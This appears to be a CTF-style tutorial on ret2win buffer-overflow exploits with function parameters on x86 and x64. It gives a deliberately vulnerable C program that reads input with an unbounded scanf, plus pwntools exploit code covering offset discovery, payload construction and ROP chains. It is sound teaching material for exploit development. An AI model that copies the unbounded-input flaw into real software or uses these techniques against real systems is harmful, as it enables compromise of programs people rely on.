1.17 - Ret2win Exploit with Parameters (ROP Chain Attack) (x86)
Overview
Detailed breakdown of the ret2win with function parameters (x86) attack. This builds on the ret2win case, but introduces the concept of passing arguments to the target function through the stack, which is crucial for moving toward more realistic exploit development.
Target Source Code
#include <stdio.h>
void hacked(int first, int second)
{
if (first == 0xdeadbeef && second == 0xc0debabe){
printf("This function is TOP SECRET! How did you get in here?! :O\n");
}else{
printf("Unauthorised access to secret function detected, authorities have been alerted!!\n");
}
return;
}
void register_name()
{
char buffer[16];
printf("Name:\n");
scanf("%s", buffer);
printf("Hi there, %s\n", buffer);
}
int main()
{
register_name();
return 0;
}
This attack targets a 32-bit binary vulnerable to a buffer overflow. The binary contains a secret function hacked(int first, int second)
which only executes the intended behavior if called with specific parameters:
first == 0xdeadbeef
second == 0xc0debabe
The goal is to overwrite the saved return address with the address of hacked()
, and then place the required parameters on the stack in the correct order.
Target Program Summary
- Vulnerability:
register_name()
reads user input withscanf("%s", buffer)
into a 16-byte buffer without bounds checking. - Exploit Goal: Call
hacked(0xdeadbeef, 0xc0debabe)
by overflowing the buffer and controlling the function call sequence. - Key Difference from basic ret2win: The target function requires two integer arguments, which must be passed correctly according to the x86 calling convention.
Calling Convention (x86, 32-bit cdecl)
- Function parameters are pushed right-to-left on the stack.
- Return address (EIP) is stored at the top of the stack before jumping to the function.
- Exploit must overwrite EIP with the address of
hacked
, then place a fake return address and the required arguments on the stack.
Stack layout after overflow:
[ offset ] -> Address of hacked()
[ offset+4 ] -> Fake return address (0x0 or main())
[ offset+8 ] -> First argument (0xdeadbeef)
[ offset+12 ] -> Second argument (0xc0debabe)
Imports and Helpers
from pwn import *
- Imports pwntools utilities for payload generation, process handling, and ELF analysis.
def start(argv=[], *a, **kw):
...
- Allows quick switching between local, remote, and debugging under GDB.
def find_ip(payload):
...
- Automates discovery of EIP overwrite offset using a cyclic pattern.
- Reads the value of EIP at crash time from the corefile and calculates the buffer offset.
Debugger Integration
gdbscript = '''
init-pwndbg
continue
'''
- Attaches pwndbg in GDB for debugging and continues execution automatically.
Binary Context
exe = './ret2win_params'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
- Loads target binary.
- Provides access to symbols, such as
elf.functions.hacked
. - Enables verbose logging to trace exploit execution.
Step 1: Finding the Offset
offset = find_ip(cyclic(200))
- Sends a cyclic pattern of 200 bytes.
- Crashes the binary and determines the buffer offset at which EIP is overwritten.
- This offset is essential for placing the function pointer correctly.
Step 2: Crafting the Payload
payload = flat({
offset: [
elf.functions.hacked,
0x0, # Fake return address
0xdeadbeef, # Param 1
0xc0debabe, # Param 2
]
})
- elf.functions.hacked: Address of the target function.
- 0x0: Dummy return address, required to maintain stack alignment after the function executes. Could be replaced with the address of
main()
for repeated exploitation attempts. - 0xdeadbeef and 0xc0debabe: Function arguments. These satisfy the conditional check inside
hacked()
. - flat(): Packs values into the correct byte representation for the architecture (little-endian, 32-bit).
Step 3: Exploitation
write('payload', payload)
io = start()
io.sendlineafter(b':', payload)
io.interactive()
- Payload is written to a file for record-keeping.
- New process is started.
- Payload is delivered after the
:
prompt. - Execution flow jumps into
hacked()
with valid parameters, printing the secret message. - Interactive mode keeps the session alive to view the output.
Key Takeaways
- Parameter Passing on x86: Arguments must be placed on the stack after the function address and fake return address.
- Controlled Execution: By overwriting EIP with the function’s address and arranging the stack correctly, the exploit bypasses normal program flow.
- Stepping Stone Attack: This example transitions from basic ret2win to more complex attacks requiring control over both execution flow and function parameters.
- CTF Relevance: Commonly used in beginner-to-intermediate challenges, reinforcing understanding of calling conventions and stack layout.
This case shows how return-to-function with parameters works in a 32-bit environment.
Ret2win Exploit with Parameters (x64)
This exploit targets a 64-bit binary vulnerable to a buffer overflow. Like the x86 version, the goal is to call a hidden function hacked(first, second)
with specific parameters. However, the key difference lies in the x86-64 System V AMD64 calling convention, which uses registers for argument passing instead of the stack.
Calling Convention (x64, System V AMD64)
- First six arguments are passed in registers, not on the stack:
RDI
→ 1st argumentRSI
→ 2nd argumentRDX
→ 3rd argumentRCX
→ 4th argumentR8
→ 5th argumentR9
→ 6th argument
- Return address (RIP) is still controlled by buffer overflow, but function parameters must be moved into the correct registers before the call.
Step 1: Finding the Offset
offset = find_ip(cyclic(200))
- Uses a cyclic pattern to determine the exact location where RIP is overwritten.
- Reads from the stack pointer (
sp
) to retrieve the crash address and calculate the offset.
Step 2: Creating the ROP Chain
rop = ROP(elf)
rop.hacked(0xdeadbeefdeadbeef, 0xc0debabec0debabe)
- Pwntools’
ROP
object automatically sets up the correct register state. - Instead of pushing parameters onto the stack, it inserts gadgets to move values into RDI and RSI, which are required for the two arguments.
- This abstraction avoids manual gadget hunting like
pop rdi; ret
orpop rsi; ret
.
Step 3: Building the Payload
payload = flat({
offset: rop.chain()
})
- Payload overwrites RIP at the correct offset.
- At the overwrite location, the ROP chain is injected.
- The ROP chain sets up the registers (RDI and RSI) and then jumps to
hacked()
.
Step 4: Exploiting
io.sendlineafter(b':', payload)
io.interactive()
- Payload is sent to the binary after the prompt.
- Execution flow is hijacked to
hacked()
with parameters loaded into registers. - Function executes successfully and prints the secret message.
Key Takeaways (x64 Vs x86)
-
Parameter Passing:
- x86: Parameters must be pushed onto the stack after the return address.
- x64: Parameters are passed via registers (RDI, RSI, RDX, etc.).
-
ROP Chain Utility:
- x86: Manually stack parameters in the correct order.
- x64: Pwntools’
ROP
object automatically handles register setup with appropriate gadgets.
-
Exploitation Process:
- Offset discovery and RIP overwrite remain the same.
- Argument delivery is the main difference: stack-based for x86, register-based for x64.
This technique shows the transition from stack-based parameter passing in 32-bit exploitation to register-based parameter passing in 64-bit exploitation, a critical step for understanding modern return-to-function and ROP attacks.
Resources
Link | Description |
---|---|
1.17 - Shellcode Injection Attack (x86 jmp esp trampoline) |